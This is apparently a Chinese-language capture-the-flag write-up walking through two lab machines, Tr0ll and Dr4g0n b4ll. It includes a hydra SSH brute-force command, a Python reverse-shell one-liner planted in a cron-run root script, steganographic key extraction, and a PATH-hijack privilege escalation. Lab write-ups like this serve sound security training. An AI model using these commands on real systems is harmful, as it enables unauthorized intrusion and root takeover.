Tr0ll
开了三个端口21,22,80
先访问网站
没啥,扫一下目录
试试ftp的匿名登录 用户名anonymous 无密码
匿名文件传输能够使用户与远程主机建立连接并以匿名的身份从远程主机上拷贝文件,而不必是该远程主机的注册用户。用户使用特殊的用户名anonymous,许多系统用户要求用户将E-mail地址作为口令,便可登陆“匿名”FTP服务器,访问远程主机上公开的文件。匿名FTP一直是Internet上获取信息资源的最主要方式,在Internet成千上万的匿名FTP主机中存储着无以计数的文件,这些文件包含了各种各样的信息、数据和软件。如 red hat、autodesk等公司的匿名站点。
有一个流量文件,用xftp登录下载下来分析
ftp (username:anonymous | password:password)
然后执行了syst,list,port等命令
不认识这个命令RETR secret_stuff.txt
应该是读文件的
Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol 😛\n
Sucks, you were so close… gotta TRY HARDER!\n
sup3rs3cr3tdirlol用户名?ftp有了,那就试试ssh,上面图片还有一个mad关键字,但是并不能登录ssh
试试目录
是个目录,有一个文件
下载下来是乱码,上传到linux看看执行效果
Find address 0x0856BF to proceed
没理解,找什么地址,试试是不是密码
并不是,是一个目录
which_one_lol.txt
maleus
ps-aux
felux
Eagle11
genphlux < – Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
Pass.txt
Good_job_😃
这块就是一个脑筋急转弯, this_folder_contains_the_password/ 意思是此文件夹包含密码,Pass.txt也要当作密码字典的一部分,当时还试了好久
hydra -L user.txt -P pass.txt 192.168.83.148 ssh
U:overflow P:pass.txt
过了一会自动被下线了,应该是定时任务,再次登录
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
找到是root权限但是当前用户能修改的文件
看了一遍也就cleaner.py能利用,修改之前的我没保存
修改cleaner.py
#!/usr/bin/env python
import os
import sys
os.system('python /tmp/x.py')
然后在tmp文件夹下放x.py
import sys,socket,os,pty;s=socket.socket();s.connect(("192.168.83.128",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")
本来是在一块的,但是单引号双引号乱闭合,就让执行系统命令,让系统命令执行python文件执行反弹吧
kali监听就得到了root权限
Dr4g0n b4ll
只开了两个端口22和80
访问网站
没有什么,只是一个介绍网站,但是查看源代码,他在最下面放了一串字符,base64加密
去解密,要经过三次解密
DRAGON BALL,并不是ssh用户名,试试目录
用户名可能是xmen
aj.jpg和一个登录窗口还有
/facebook.com
/youtube.com
/google.com
/vanakkam nanba
/customer
/customers
/taxonomy
/username
/passwd
/yesterday
/yshop
/zboard
/zeus
/aj.html
/zoom.html
/zero.html
/welcome.html
但并不是目录,aj.jpg可能蕴含信息
apt install stegcracker
下载stegcracker 一个解析图片信息的
stegcracker aj.jpg
解析出来是ssh密钥,试试和用户名xmen
ssh -i key xmen@192.168.83.149
如果提示权限不够
chmod 700 key
flag1
一个可执行文件,但是能执行,不能修改
环境变量劫持提权
cp /bin/bash /tmp/ps
将/bin/bash复制到/tmp/ps
export PATH=/tmp:$PATH
环境变量添加/tmp
因为
./shell
原理:执行命令时会从前到后寻找,export PATH=/tmp:$PATH将/tmp环境变量放到了第一位,所以执行的时tmp下的ps,而tmp下的ps是改名的bash
$PATH:/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
得到root权限